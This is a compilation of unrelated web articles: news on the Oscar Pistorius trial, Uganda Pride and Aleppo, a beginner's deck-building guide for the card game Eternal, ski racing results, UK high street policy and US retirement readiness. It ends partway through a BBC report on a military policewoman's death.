Advocate Barry Roux at the Pretoria High Court in Pretoria 75/90 Oscar Pistorius in court Oscar Pistorius at the Pretoria High Court in Pretoria 76/90 Oscar Pistorius in court Oscar Pistorius walks at the Pretoria High Court as Reeva Steenkamp's mother looks on 77/90 June Steenkamp in court Reeva Steenkamp's mother looks on inside the Pretoria High Court 78/90 Lois, Arnold and Aimee Pistorius in court Lois, Arnold and Aimee Pistorius at the Pretoria High Court in Pretoria 79/90 Carl, Aimee and Lois Pistorius in court Carl, Aimee and Lois Pistorius speaking with a member of his legal team at the Pretoria High Court in Pretoria 80/90 Carl Pistorious in court Carl Pistorious, the brother of South African Paralympic athlete Oscar Pistorius, leaves the courtroom during a lunch recess at the High Court in Pretoria 81/90 Prosecutor Gerrie Nel Prosecutor Gerrie Nel reads out the charges on the opening day of proceedings in the High Court in Pretoria 82/90 Pretoria news A newspaper vendor sells the Pretoria News as the Oscar Pistorius trail starts at North Gauteng High Court in Pretoria. Olympic and Paralympic athlete Oscar Pistorius is accused of murdering his girlfriend Reeva Steenkamp. Pistorius denies the allegation claiming he mistook Steenkamp for an intruder inside their home on Valentines Day 2013 83/90 June Steenkamp in court June Steenkamp (L), mother of the murdered Reeva Steenkamp, sits in court ahead of the trial of Olympic and Paralympic track star Oscar Pistorius at the North Gauteng High Court in Pretoria 84/90 June Steenkamp arrives in court June Steenkamp (C), the mother of Reeva Steenkamp, arrives at North Gauteng High Court for the trial of Oscar Pistorius in Pretoria 85/90 June Steenkamp arrives in court June Steenkamp (R), the mother of Reeva Steenkamp, arrives at North Gauteng High Court for the trial of Oscar Pistorius in Pretoria 86/90 Carl Pistorius arrives in court Police try to hold back the media as Carl Pistorius, the brother of Oscar Pistorius, arrives at North Gauteng High Court in Pretoria 87/90 Media outside the court in Pretoria Bewildered media stand outside North Gauteng High Court as Oscar Pistrious slips into court through another door to face trial accused of the murder of his girlfriend Reeva Steenkamp in Pretoria 88/90 Daily News front page day after the shooting Oscar Pistorius was arrested in South Africa in the shooting of Reeva Steenkamp 89/90 Oscar Pistorius and Reeva Steenkamp Oscar Pistorius and Reeva Steenkamp at the Feather Awards in 2012 in Johannesburg 90/90 Reeva Steenkamp Reeva Steenkamp who was shot dead on the Valentine's Day 2013  Prof Saayman told the court that "the graphic details have the potential to damage the dignity of the deceased", and broadcasting his testimony would "harm the rights of the remaining friends and relatives of the deceased".  "It goes against the good morals of society to make this information available, to unsuspecting members of the public, including children and other vulnerable people," he added.  Prof Saayman’s testimony will still be filmed, and the broadcasters are hopeful that its “benign parts” may be broadcast tonight or tomorrow morning. South African broadcasters fought a lengthy legal battle for the right to broadcast the murder trial.  Earlier, Pieter Baba, a security guard at the gated Silverwoods estate where Pistorius lived, insisted the athlete told him "everything is fine" in the minutes after the shooting of Ms Steenkamp.  Mr Baba said he phoned Pistorius following reports of a shooting in the early hours on Valentine's Day last year, and not the other way round, as the athlete's defence team, led by Barry Roux, had previously suggested.  During his cross-examination, Pistorius' lawyer challenged his version of events showing the court Mr Baba's police statement where he said Pistorius told him he was "OK"- instead of "everything is fine."  Mr Roux suggested he has evidence, including athlete's outgoing call records, security's incoming phone records and police documents, proving Pistorius called security first but could not speak because he was crying.  Mr Baba insisted: "I'm the one who called first."  "His call was first and your call was second," Mr Roux told the court. "'I put proof in front of you that Mr Pistorius called first."  Mr Baba stood by his testimony arguing that, if Pistorius had called him first, he "would have known something was wrong". Instead, he claims he fainted as a result of the "shock" when he arrived at Pistorius's house and saw the athlete carrying Ms Steenkamp downstairs.  On Friday, Pistorius' former girlfriend, Samantha Taylor, painted a picture of a man who "always" carried a gun with him, was often angry and unfaithful. His lawyer argued the pair were no longer a couple when Pistorius started seeing Ms Steenkamp and suggested Ms Taylor was unfaithful too.  She told the court the South African star was worried about intruders breaking into his house, but, crucially, he would usually wake her up whenever he heard suspicious noises.  Ms Taylor also recounted an incident where Pistorius allegedly fired at a traffic light after he and a friend, Darren Fresco, the same man who passed him a gun that discharged under a table a restaurant last year, were stopped for speeding, and became very angry with a police officer.  Last week, Pistorius pleaded not guilty of murdering Ms Steenkamp, claiming he shot her in a case of mistaken identity thinking she was an intruder.  Prosecutors argue he intentionally shot and killed his girlfriend following a domestic dispute. If convicted of murder he will almost certainly receive a life sentence, with a minimum term of 25 years.  The case continues.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Hi! I’m Thomas “Peppr” Brun, Eternal fan, brewing enthusiast, and latest addition to the Numot Gaming Eternal team!  I’ve joined Eternal very early in the closed beta and have been playing the game every day since. I made my modest mark on the community by winning the second edition of Scion’s League with a home brew (which got nerfed shortly after) and by pioneering a few quirky not-quite-tier-one decks, notably Nightmare and Shimmer Party. My background before Eternal is mostly made of kitchen table Magic (peaking in the nineties with a few disastrous local tournament outings), then Scrolls and Duelyst. I’m a Johnny at heart; I enjoy weird combos and building around cards no one else plays.  But not to worry, this is not what this article is about! Today I’d like to walk you through your first few hours of playing Eternal. While doing so, we’ll be building a cheap, effective, flexible, no-nonsense deck to get your career and collection started.  Set Reviews  Time | Primal | Shadow | Fire | Justice | Elysian – Combrei | Feln – Stonescar | Rakano – Factionless  Mouse over any underlined card to see what it does.  This article is dubbed “Rakano edition”, because the deck we’re going to build uses the Fire & Justice factions, a pairing commonly referred to as “Rakano” in Eternal lingo. Note that this is certainly not the only budget deck you can use to get started; you can expect other editions of this guide to appear on this site soon!  Even is this isn’t actually your first rodeo in Eternal, I hope that the dissection of the makings of a Rakano Pants deck can be of interest to you.  Note:  For the purposes of this article, I actually went through the whole new player experience again myself to check that I wasn’t saying anything unrealistic (I used my old invite-a-friend beta key to make an alt instead of giving it to you. Sorry.). Thanks to that little experiment, I’ll be giving you reports of my own progress through each step, as a point of reference.  Taking your first steps efficiently  I strongly advise to use a custom deck to do your first few gold earning activities in Eternal, namely beating The Stranger to end the campaign (a task that can be surprisingly difficult with some of the starter decks), and doing your first Gauntlet run(s).  Turns out that at the absolute ground floor that is basic cards only (those available to you out of the starter decks), the strongest deck you can make is… not Rakano ! So much for this article’s thematic consistency, but the priority here is getting you out of the gate as smoothly as possible.  The deck I recommend to do those first few games with is the following: Baby Praxis (aka “the best basics-only deck”)  This is a relatively straightforward token aggro list, which revolves around lots of cheap creatures and wide buffs such as Unlock Potential and Rally. It is based on a once-dominant deck called Praxis Tokens, which got pushed out of the meta by consecutive nerfs to Xenan Obelisk and Unlock Potential. But the archetype is still definitely good enough to get started with. It should defeat the Stranger and beat your first gauntlet run without too much trouble.  My experience:  I defeated both the Stranger and Gauntlet on the first try in my test run. Fair warning : I was on the luckier end of the spectrum there. The Stranger can get some ridiculously good draws that the above deck will not be able to beat. Don’t let that get you down and just retry, it shouldn’t take long.  Using the free Forge run to get your Rakano deck going  Once you completed the quest to defeat one gauntlet, you’ll get access to a free run of Forge. Forge is like gauntlet, except you draft your deck out of a random selection of cards, in a fashion you will feel familiar with if you played Hearthstone’s Arena or Duelyst’s Gauntlet before. A key difference with the above is that in Eternal, you get to keep the cards you pick for your collection! Another important thing you need to know about Forge is that you will only be given choices from two factions, based on the first picks you make. This means that you can “force” the factions you need cards in. I invite you to do just that for Rakano, which also happens to be a strong faction pairing for limited formats anyway!  The makings of a solid Rakano deck (regardless of budget)  Before we actually start the Forge run, a few words about what the deck we’re aiming for looks like. There is more than one way to build a good Rakano deck. Today we’ll focus on the most common aggro archetype, commonly referred to as “pants” (due to its heavy use of weapons). It’s a relatively simple to play style of deck which is both very effective and easy to build across a wide budget range.  Without naming specific cards, and with of course a fair amount of leeway on the numbers in each category to accommodate for specifics and techs, the deck will typically break down like this:  8 to 12 one-cost units  10 to 14 two-cost units  0 to 6 three-cost units  10 to 14 one or two-cost weapons (“cheap pants”)  4 to 8 three+ cost weapons (“fancy pants”)  4 to 10 Removal spells, tricks, or relics  25 or 26 Power  As you can see, this is clearly an aggro deck, with a curve very low to the ground. It is built to make sure that you are most likely to fully utilize your mana on turns 1-4, quickly building a board of threats. Your opponent should immediately be on the back foot, and their slow draws will be punished hard. We play almost no cards that cost more than 3, so we can afford to play the minimum amount of power thanks to the mulligan rule (which guarantees you at least 2 power cards if you redraw your starting hand).  The power should include as many duals as possible (both seats and banners) as well as Diplomatic Seals when you get them, and possibly a few Monuments to taste. I personally like two copies of Emerald Monument.  In each category, there is a fair amount of leeway in what to use; the deck will function whether you have 4 copies of each best in slot rares (when there is even one) or a bunch of disparate commons, which is fortunate because we’ll have to do with the latter for a while.  The reason I’m giving you these categories and approximate numbers for them rather than simply decklists is that, while it is entirely possible to craft most of the lower rarity stuff you need early on, it’s inefficient in terms of growing a collection – so we’ll try to avoid it as much as possible.  Between the large packs, cards in chests, and limited modes letting you keep cards, Eternal gives out a whole lot of those low rarity cards. You’ll get full playsets of them very quickly! The flip side of that is that the crafting/recycling rates on them is very disadvantageous. With that in mind, I believe the best budget decks are those made out of whatever you have, rather than out of “cheap crafts”, which are actually the worst investment you can make.  We will get to crafting eventually, but only after getting as many “free” cards as possible to make a base deck out of.  Card rankings per category  OK, so now you are ready to start your first forge run to populate that future deck of yours. But what do you pick? You already know to make your first picks either Justice (green) or Fire (red), but which cards are good?  Well, here’s a handy table to answer that question!  Anything on top of each of these categories should be a priority pick. In Forge, you only get picks of similar rarity at any given time, so you don’t need to “rare-draft”; only go for higher rated stuff. The exception is you’ll sometimes be given the choice of a Legendary over rares; unless the rare is high up in this table and the legendary looks lame, I say take the legendary in that the case.  If you’re referring to this table in the context of drafting, it’s better to give some amount of priority to rares over C/Us. Common or Uncommon can be used as a tie-breaker in case you’re unsure between two picks, but should not matter that much otherwise.  My experience:  I got lucky with being given two Shogun’s Scepter, which are excellent spoils. I also secured a couple of Rakano Outlaw and Brightmace Paladin along with a few usable weapons. I did not manage to go all the way, losing game 4 to mana flood and then game 6 to a crazy series of plays by Vengeance. Still, one gold chest is good enough, especially when you’re lucky like me and it contains a Sparring Partner (another score !).  First outing on the ladder!  Congratulations on now having a semi decent deck ! It’s time for it to leave the nest now. Click that “ranked” button and battle away ! Don’t worry too much, it’s okay to lose. Maybe you’ll win some too, but even if you don’t you’ll certainly learn some things. Depending on the timing, you might find yourself in “unfair” match-ups with high ranked players rocking well tuned decks, so sweating over losses is really unnecessary. On the other hand, don’t just dismiss those losses as irrelevant either – note what’s killed you and what you maybe could have done better.  My experience:  The deck I was able to piece together for ladder looked like this: Baby’s First Rakano (example)  This ragtag pile managed a very respectable 3-2 record, losing only to a very potent Stonescar curve-out and a Party Hour deck that looked like it belonged in Masters (or possibly in Nerf-land, but that’s another topic).  First Draft  After you completed your 5 placement games and collected your reward, you should have somewhere around 4,000 gold in the bank. You need 5,000 to buy your way into Draft, which is by far the most efficient way to grow your collection and also your next objective. I advise you to grind the last few gold coins you need in Gauntlet, as it’s an easier, less stressful environment to do so than the ranked ladder. It’s an opportunity to continue practicing with your deck too.  Once that’s done, it’s time for you to discover one of the best things about Eternal: drafting! It’s a limited mode somewhat similar to Forge, but PvP, and actual packs being passed along (just like physical MtG drafting but asynchronous so you can take all the time you want) rather than 1-out-of-3 picks. Drafting is an art that is worth a whole series of guides on its own, and I’ll leave that to people more skilled at it than I am. Know that while that’s not always the best option, you can also “force” factions in draft. You can’t actually influence what cards you get passed, but you can decide to pick cards in the factions you want. That’s not always optimal for a bunch of reasons, most notably possible signals that someone up the line is already drafting the same factions, but we can choose to ignore those in the name of strategically advancing our collection. Note that Rakano is a strong choice for draft anyway, so you’re not gimping yourself much either.  Just like with forge earlier, I invite you to peruse the previous table as a guideline. Prioritize picks on top of each category. Technically it would be better to use a draft specific picking guide (and you’re welcome to do that if you have one handy) but since we’re also trying to get cards for our deck the above will do just fine. There are however two things not in that table you should look out for :  Legendaries or good rares(even off-color) : just pick those. You draft more cards than can fit in your deck, so you can afford to dedicate a pick to scoring a card you want for later.  bombs and removal : (yes, BREAD) draft is often a slower format than constructed, so relatively high cost, high impact stuff will definitely win you games. Notably: rares like Rolant’s Honor Guard Silverwing Commander Fourth-Tree Elder Renegade Valkyrie Torch Vanquish  Once your picks are done, take the best 28-29 cards out of there, add 16-17 sigils – assuming you went by the above, your curve should be low – and get out there!  *Disclaimer : the above does not make a good replacement for a proper drafting guide ! Use one of those for your next run, or ask for help on the ever helpful Discord channel.  My experience:  It took me 2 gauntlet runs to get to 5,000 gold for the draft run. Once in there, it became clear relatively early that Justice was closed in pack 1/3, but not Fire; so I focused on that. Luckily Justice was open in the other packs and I was able to score a Silverwing Familiar, which turned out to be the clear MVP of the run. Other notable picks included a Censari Brigand and no less than *three* Sword of Icaria.  The run ended at 6-3, closely missing the full 7 win run. Along with the diamond chest reward for the quest, that’s 4 packs and 7,000-something gold back in the bank ! None of the packs contained rakano-relevant rares, but one did have a Reality Warden in it, which is nice. The gold was enough to start a second draft run right away and could even fund a second Forge run too.  First Crafts  At this point, go back to your constructed deck and enrich it with the spoils of your draft run(s), still using the previous guidelines. This should make a fairly solid deck insofar as no crafting has happened yet.  You’re now sitting on about 3,500 Shiftstones just from early rewards (and drafting). On top of that, you can relatively safely destroy some of the cards you received from the campaign. Notably, Kaleb, Uncrowned Prince and Rolant, the Iron Fist are two legendaries that essentially never see constructed play, so I wouldn’t feel bad about getting rid of them for stones if you so choose. That would bring you to almost exactly 5,000 stones.  With that, now would be a good time to craft the things your deck most sorely lacks. Efficiency be damned, we postponed it long enough, go ahead and craft commons and uncommons you couldn’t find on the way if you really miss them. Do however refrain from crafting full sets, as you’re likely to open 1 or 2 soon enough. Crafting two uncommons you have zero of is definitely reasonable. Rares are fair game, as those are much slower to acquire and are fair investments, but still avoid crafting the full 4. Murphy’s Law dictates you will open a fifth as soon as you do.  For ideas on what exactly you should be crafting, refer to the next section for actual top-level lists.  My experience:  Here is my deck, with zero crafting, after 1 draft: Baby Rakano grows up so fast (example)  One of the most glaring shortcomings of this list is the lack of Crownwatch Paladins as well as the low number of Elder’s Feather and low drop weapons in general. I chose to craft some of those, plus a Valkyrie Enforcer and a Pyroknight, both all around excellent cards that see play in other decks too.  Here is what I end up with, after spending 3,200 shiftstones (no destruction necessary): Not really a baby anymore (example)  This is a list I’m confident about taking to the ladder. I expect it will bring me to Gold division without a hitch, probably even Diamond, and by then I’ll probably have enough to make a list that’s close to (if not exactly) one of the top level lists below.  The endgame : Tier 1 Rakapants  Let’s just ignore budget completely now and look for optimized lists. You’ll quickly notice they are actually very close to the budget versions! Differences will mostly be in the presence of playsets of rares (Pyroknight, Sparring Partner, Champion of Glory, Shogun’s Scepter, Valkyrie Enforcer being the most common) and sometimes a couple of copies of Deepforged Plate, the only legendary that sees play in Rakano pants.  Here is the list I personally favor for ladder play. I use this one when I’m tired of my weirdo brews getting their nerdy little heads smashed in repeatedly and I just want something that wins. It does that job admirably, and it does it fast too.  Peppr’s “Rakaface”  And here is Wafflez’s tournament list, which went 3-1 in the latest Swiss tournament, second only to our own Peter “Babam” Golightly.  You’d need to ask her about optimal tuning of the mainboard for ladder and/or budget restrictions, but I’m sure it would work great as is (or with pretty much whatever you feel like in place of the Plates).  With this, you should have all that you need to take yourself from Starter to Master – now get out there and do it!  Comments
-After kicking off the season this December in Canada, NorAm athletes headed south to start 2017. The men went to Stowe, Vt. for two giant slalom races, but they were only able to compete in one after Tuesday’s race was canceled due to fog and freezing rain.  On Monday, when the weather was fair, U.S. Ski Team athlete Nick Krause won his second NorAm of the season and his career. After coming in sixth on the first run, 0.78 seconds behind, Krause turned it up a notch to overtake the first-run leader, Canadian Phil Brown. Brown lost the race by just 0.05 seconds and his teammate Dustin Cook was in third, 0.26 seconds behind the pace.  Krause grew up skiing on the East Coast at Stratton Mountain School and Monday was his 12th FIS giant slalom, and only win, at Stowe Mountain Resort. He said that the experience he’s had at Stowe gave him an edge on the much of the competition.  “Confidence is huge on this hill. You can try and set up for every little terrain change, but at the end of the day, you just have to charge it and attack,” Krause said.  Stowe has been kind to Krause throughout his career.  “Growing up, my senior year at Stratton, I had a few breakout races here, and ever since then, I’ve always loved coming to Stowe,” he said, also noting that winning his first NorAm GS has been a goal for a long time.  Krause may have won the day, but Brown walks away from the week as the leader in the NorAm GS standings. Brown took a break from his World Cup schedule to regain confidence in his skiing, and it has worked. After failing to make five straight second runs on the World Cup circuit, Brown took his talents to Panorama in December. Since his return, he has not finished lower than second place in six consecutive slalom and giant slalom starts. He now holds the lead in the NorAm overall standings as well.  “I started in Europe doing World Cups in the beginning of the season, and it wasn’t going that well, so then we made the decision to come back to Panorama to try to find some confidence in racing and find the ability to find some freedom in my skiing and ski the way I do in training,” Brown said.  It worked well in Panorama when he won both GS races, and he said it worked on Monday as well. It has given him a good feeling heading back into the World Cup. He will fly back to Europe on Wednesday to compete in Adelboden, Switzerland, on Jan. 7-8.  Brown leads the overall standings with 440 points in front of American Kieffer Christianson with 400 points. Krause has moved into third with 358 points.  While the men were on Mt. Mansfield, the women traveled to Burke, Vt. for their series. University of Vermont Catamount Paula Moltzan took the first win of the series in giant slalom. Foreste Peterson of Dartmouth College came in second, just 0.13 seconds behind the winner, earning her first NorAm podium. Canadian Amelia Smart was in third, 0.47 seconds behind the leader.  In the second GS, Moltzan and Peterson were back on the podium in second and third, respectively, but this time, Canadian Ali Nullmeyer led them both, winning by a slim 0.07 seconds. Peterson said that the past two days were unexpected.  “I feel like the last four years of my career I’ve been very solid or steady with my results, but I have never broken the top five or four, and I feel like I’ve just kind of plateaued a little bit in my skiing,” she said, “But the start of this season something has seemed to click, and I feel like I have had a good break through in these last couple of races.”  Peterson’s breakthrough has even changed her plans for the season. She now ranks second in the NorAm giant slalom standings, and she has decided to head to Colorado for the tech series in February. No matter what happens in the NorAms, Peterson is well prepped for this year’s EISA Carnival season with Big Green.  After the two GS races, the Canadian women still hold the top three spots in the overall standings. Smart is the name to know right now. She leads with 452 points, continuing an incredible tech season. The Canadian has not finished outside the top seven in any of her seven starts, and has been on the podium in three separate disciplines. Stephanie Fleckenstein managed to stay second in the standings posting a 14th and 16th in the GS series. She has 422 points. Nullmeyer now sits in third with 410 points.  Next the women face two days of slalom at Burke on Jan. 4-5. The men stay at Stowe and will move forward with the slalom races as scheduled.  Complete men’s results can be found here. Complete women’s results can be found here.
-Signup to receive a daily roundup of the top LGBT+ news stories from around the world  The US embassy in Uganda has condemned the forced cancellation of a Pride event.  Uganda Pride, which had been expected to take place this month, was cancelled abruptly over the weekend, as LGBT activists said they had been warned they faced arrest if the event went ahead.  In an article for the Guardian, one of the event’s organisers Frank Mugisha said it had been “crushed” after threats from Uganda’s minister of ethics and integrity Simon Lokodo.  Lokodo has previously publicly threatened to arrest anyone who celebrates LGBT rights in public.  Under Uganda’s archaic penal code, “carnal knowledge against the order of nature” between two males carries a potential penalty of life imprisonment.  A harsher anti-gay law was signed into law in 2013, but it was later thrown out by the country’s Supreme Court on technical grounds.  In a statement, the US Embassy in the country slammed the Ugandan government.  The statement, released by US Ambassador Deborah R. Malac, reads: “The U.S. is disappointed with reports that the Ugandan government has forced the cancellation of LGBTI Pride Week events.  “Under Uganda’s constitution, all individuals and organisations have right to associate freely in private and in public, without fear.  “It is responsibility of the Govt to ensure that human rights of all citizens, including LGBTI citizens, are respected and protected.”  Mr Mugisha, the head of Sexual Minorities Uganda, wrote in the Guardian: “Pride 2017 was crushed. Our efforts to engage with the state fell on deaf ears.  “Lokodo threatened us with arrest, even violence, and the police were reportedly ready to surround the venues we had booked. The event was meant to begin last week, on 16 August.  “But we were left with no choice but to cancel. Our community is still traumatised by the arrests and detentions that took place last year. We couldn’t risk a repeat.”  He added: “It took the murder of my friend David Kato and the threat of the death penalty against LGBT people for the international community to take notice of our plight.  “Now it feels like the LGBT community is becoming invisible again, and not just to Ugandan society. We need the British government, the EU and the US to keep talking to the Ugandan government.  “We need the persecution of LGBT people to be on the agenda of the Commonwealth heads of government meeting next year. And we urge the EU to appoint a special representative on LGBT rights.  “The fact that we have been forced to cancel Pride Uganda is one more sign of our growing invisibility.”  Mr Lokodo has previously made shameless attempts to link gay rights activists to paedophilia and prostitution.  Justifying his homophobic campaign, he claimed: “We are aware that there are inducements, including money, being offered to young people to promote the practice.“
-There are few certainties in politics and economics, but two of them were made clear by Grant Shapps, the former housing minister who was replaced in the recent cabinet reshuffle.  First, there are some politicians who make better chairs than portfolio ministers. And second, offering £10,000 to every "town team" requested by their local MP will have minimal influence on the long-term future vitality of our high street, with local government left to pick up and make something of the pieces.  After a significant amount of activity since the 2011 Portas review, the government's national funding legacy for no high street left behind included:  • 27 Portas pilot town teams, each receiving £100,000.  • Up to 392 other town teams (unsuccessful Portas applicants) each receiving £10,000 if their local MP makes an application before 16 September 2012.  • 100 local authorities, most with several town centres, who each received £100,000 from the high street innovation fund.  • The launch of a rather loosely-defined £1m future high street competition, for which applications need to be register by 6 December 2012.  • £1m allocated for the development of high street neighbourhood plans.  The immediate challenge for local authorities is to make sense of these overlapping and ad hoc opportunities. They must support the enthusiasm of genuine town teams to undertake productive and purposeful activity while also managing expectations.  Overall, these commitments amount to less than co-operative department store John Lewis spent refurbishing its branch in Cheadle. The risk of this type of extreme fragmentation of funding is a lot of sound and fury, signifying very little in terms of high street performance. It risks distracting local authorities with local rivalries and egos – already colourfully demonstrated by the implosion of the Margate Portas pilot team.  These short-term schemes are a huge headache given the scale of long-term challenges facing our high streets, and the policy response has been quite unhelpful. After all, government rejected the Portas recommendations for all out of town retail planning applications to be subject to special ministerial approval. They also rejected "affordability quotients" for new shopping developments, vigorous action to tackle empty retail properties, and incentives to develop the reach and scale of business improvement districts (Bids).  Local authorities ambitious to revitalise their town centres need to ensure their local plans prioritise its success. They need public, private and community-based partnerships to focus on the town centre, possibly co-funded through a Bid. They need coherent and distinctive branding that projects the qualities of places and their functions in the wider urban area.  To be fair, the government has helped town centres to find assistance from the Association of Town Centre Management. It is also encouraging town teams to network and share experience.  None of this, however, is anywhere near as important as local government's community leadership, strategic, enabling and partnership roles in town centre success. Shapps may have been able to leave high streets behind and ply his talents with coalition cabinet colleagues and the Tory faithful but it remains to be seen what route new housing minister Mark Prisk will take.  For local government, though, the hard work of town centre reinvention has just begun.  David Marlow is director of Third Life Economics and a former local government chief executive  This content is brought to you by Guardian Professional. Join the local government network for comment, analysis and the latest jobs direct to you
-The number of people who can expect to have sufficient funds for retirement is inching up, but the picture for the country as whole remains worrisome.  Rene Jansa/Shutterstock Here’s hoping retirement won’t come down to this.  Those are the findings from the Employee Benefit Research Institute’s recently released 2014 Retirement Readiness Ratings. The nonprofit group, based in Washington, D.C., calculates that 56.7% of “early” baby boomers (born between 1948 and 1954), 58.5% of late boomers (born between 1955 and 1964) and 57.7% of Gen Xers (born between 1965 and 1974) will have the financial resources needed to meet their expenses in retirement.  Those figures are up 1.6 percentage points, 1.0 percentage point and 0.5 percentage point, respectively, from 2013.  A household is considered likely to run short of money – in the institute’s model – if assets can’t meet “minimum retirement expenditures.” Those are defined as a combination of expenses from the federal government’s Consumer Expenditure Survey (as a function of age and income); some health insurance and out-of-pocket health-related expenses; and possible expenses from nursing-home and home-health care.  Why the slight improvement in 2014? EBRI points to a growth in the market value of defined-contribution plans and individual retirement accounts, as well as an increase in housing values in the past year.  Looking forward, the institute points to several issues that could change some of these numbers – for the better or worse:  Retirement plans at work. Employees who have access to, and participate in, a savings plan at the office have much better odds of meeting expenses in later life. For example: Retirement-readiness values double for Gen Xers in the lowest-income quartile when comparing individuals with 20 years of eligibility in such plans vs. those with no future eligibility.  Social Security. Starting in 2033, the government will be able to pay only about 75% of the program’s costs (unless Congress acts to correct funding shortfalls). If nothing is done, retirement-readiness values for Gen Xers in the lowest income quartile, for instance, will drop to 10.3% from 20.9%.  Risk management, at or near retirement age. People nearing retirement should look for guaranteed streams of income. For instance, individuals who annuitize a portion of their defined contribution or IRA balances could mitigate the “variability in retirement income adequacy,” according to EBRI. At the same time, a “well-functioning market in long-term care insurance” could help reduce nest-egg shortfalls, particularly for middle-income households.  Also on Encore:  Making reverse mortgages less risky  Many boomers still have all-stock IRAs  Right price for investing advice could be $0  Glenn Ruffenach edits The Wall Street Journal’s guide to planning and living the new retirement. Reach him at encore@wsj.com.
-The famous lights of the Eiffel Tower were switched off on Wednesday in a show of solidarity with the under-siege Syrian city of Aleppo.  Paris mayor Anne Hidalgo announced the iconic 300m-high landmark would plunged into darkness at 8pm.  The United Nations has branded what is happening in Aleppo a “meltdown of humanity” - with hundreds of thousands killed.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  “This evening, at 8pm, @LaTourEiffel will be extinguished to symbolically support the city of @Paris in #Alep and all its inhabitants,” said Ms Hidalgo.  The Eiffel Tower, which usually turns its lights out between 1 and 2am, has been used as a symbol of unity before.  It was illuminated with rainbow colours after the Orlando gay club shooting that killed 49 people, with the Belgian flag colours after the Brussels bombings, and with the French tricolour after the Paris attacks last year.  Its lights were also switched off early in the aftermath of the Isis assaults of 13 November, 2015, that killed 130 people and injured many more.  Shape Created with Sketch. Aleppo before the Syrian Civil War Show all 12 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Aleppo before the Syrian Civil War 1/12 Aleppo before the Syrian Civil War A man crosses a street in Aleppo, December 12, 2009 Reuters 2/12 Aleppo before the Syrian Civil War A vendor sits inside an antique shop in al-Jdeideh neighbourhood, in the Old City of Aleppo, December 12, 2009 Reuters 3/12 Aleppo before the Syrian Civil War A view shows part of Aleppo's historic citadel, overlooking Aleppo city, Syria Reuters 4/12 Aleppo before the Syrian Civil War A view shows part of Aleppo's historic citadel, Syria Reuters 5/12 Aleppo before the Syrian Civil War Visitors walk inside Aleppo's Umayyad mosque, Syria Reuters 6/12 Aleppo before the Syrian Civil War People walk inside the Khan al-Shounah market, in the Old City of Aleppo, Syria Reuters 7/12 Aleppo before the Syrian Civil War A man walks past shops in al-Jdeideh neighbourhood, in the Old City of Aleppo, Syria Reuters 8/12 Aleppo before the Syrian Civil War People walk along an alley in al-Jdeideh neighbourhood, in the Old City of Aleppo, Syria Reuters 9/12 Aleppo before the Syrian Civil War Visitors tour Aleppo's historic citadel, Syria December 11, 2009 Reuters 10/12 Aleppo before the Syrian Civil War A general view shows the Old City of Aleppo as seen from Aleppo's historic citadel, Syria December 11, 2009 Reuters 11/12 Aleppo before the Syrian Civil War People walk near Aleppo's Bab al-Faraj Clock Tower, Syria October 6, 2010 Reuters 12/12 Aleppo before the Syrian Civil War A man stands inside Aleppo's historic citadel, overlooking Aleppo city, Syria December 11, 2009 Reuters 1/12 Aleppo before the Syrian Civil War A man crosses a street in Aleppo, December 12, 2009 Reuters 2/12 Aleppo before the Syrian Civil War A vendor sits inside an antique shop in al-Jdeideh neighbourhood, in the Old City of Aleppo, December 12, 2009 Reuters 3/12 Aleppo before the Syrian Civil War A view shows part of Aleppo's historic citadel, overlooking Aleppo city, Syria Reuters 4/12 Aleppo before the Syrian Civil War A view shows part of Aleppo's historic citadel, Syria Reuters 5/12 Aleppo before the Syrian Civil War Visitors walk inside Aleppo's Umayyad mosque, Syria Reuters 6/12 Aleppo before the Syrian Civil War People walk inside the Khan al-Shounah market, in the Old City of Aleppo, Syria Reuters 7/12 Aleppo before the Syrian Civil War A man walks past shops in al-Jdeideh neighbourhood, in the Old City of Aleppo, Syria Reuters 8/12 Aleppo before the Syrian Civil War People walk along an alley in al-Jdeideh neighbourhood, in the Old City of Aleppo, Syria Reuters 9/12 Aleppo before the Syrian Civil War Visitors tour Aleppo's historic citadel, Syria December 11, 2009 Reuters 10/12 Aleppo before the Syrian Civil War A general view shows the Old City of Aleppo as seen from Aleppo's historic citadel, Syria December 11, 2009 Reuters 11/12 Aleppo before the Syrian Civil War People walk near Aleppo's Bab al-Faraj Clock Tower, Syria October 6, 2010 Reuters 12/12 Aleppo before the Syrian Civil War A man stands inside Aleppo's historic citadel, overlooking Aleppo city, Syria December 11, 2009 Reuters  “This symbolic measure at a building known worldwide will aim to once again alert the international community to the need for urgent action,” said Ms Hidalgo's office, in a statement.  The UN believes pro-government forces slaughtered at least 82 civilians while closing in on taking the besieged Syrian city.  The Syrian military claim to have taken control of 98 per cent of rebel-held east Aleppo early on Monday morning.  The approximately 8,000 rebels – including al-Qaeda affiliated fighters – have been cut off from reinforcements, aid and food supplies since August.  In the House of Commons, former Chancellor George Osborne said he takes personal responsibility over Aleppo, while Labour MP Emily Thornberry said Syria, Russia and Iran’s governments were responsible for “hours of shame and disgrace”.  5 things you can do to help Aleppo  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Image caption Anne-Marie Ellement told family and friends that army colleagues bullied her following her allegations  A military policewoman killed herself following a campaign of bullying after she accused two colleagues of rape, her mother has told the BBC.  Alexandra Barritt's daughter, Cpl Anne-Marie Ellement, 30, from Bournemouth, was found hanged at Bulford Camp in Wiltshire in October.  She alleged she was raped by two men but military prosecutors did not bring charges.  The Ministry of Defence (MoD) says it will investigate claims of bullying.  A spokesman said: "In the light of the allegations that have emerged...the Royal Military Police are examining whether the actions of its personnel were appropriate and in accordance with wider Army values and standards.  "Prior to Cpl Ellement's death she received extensive support from the Army, which continued up until her death.  She was very depressed [and] very fed up with the Army Alexandra Barritt, Cpl Ellement's mother  "The Army has a zero tolerance policy to bullying and harassment of its personnel."  'Losing my friends'  Ms Barritt told the BBC her daughter had been let down.  She added: "I feel the rape case was what started everything off and it should be reopened.  "She wrote to me and said she was going through hell.  "I want to see justice for Anne-Marie and I don't believe there's been justice.  "She told me she was very depressed, very fed up with the army, and wanted to come out."  Ms 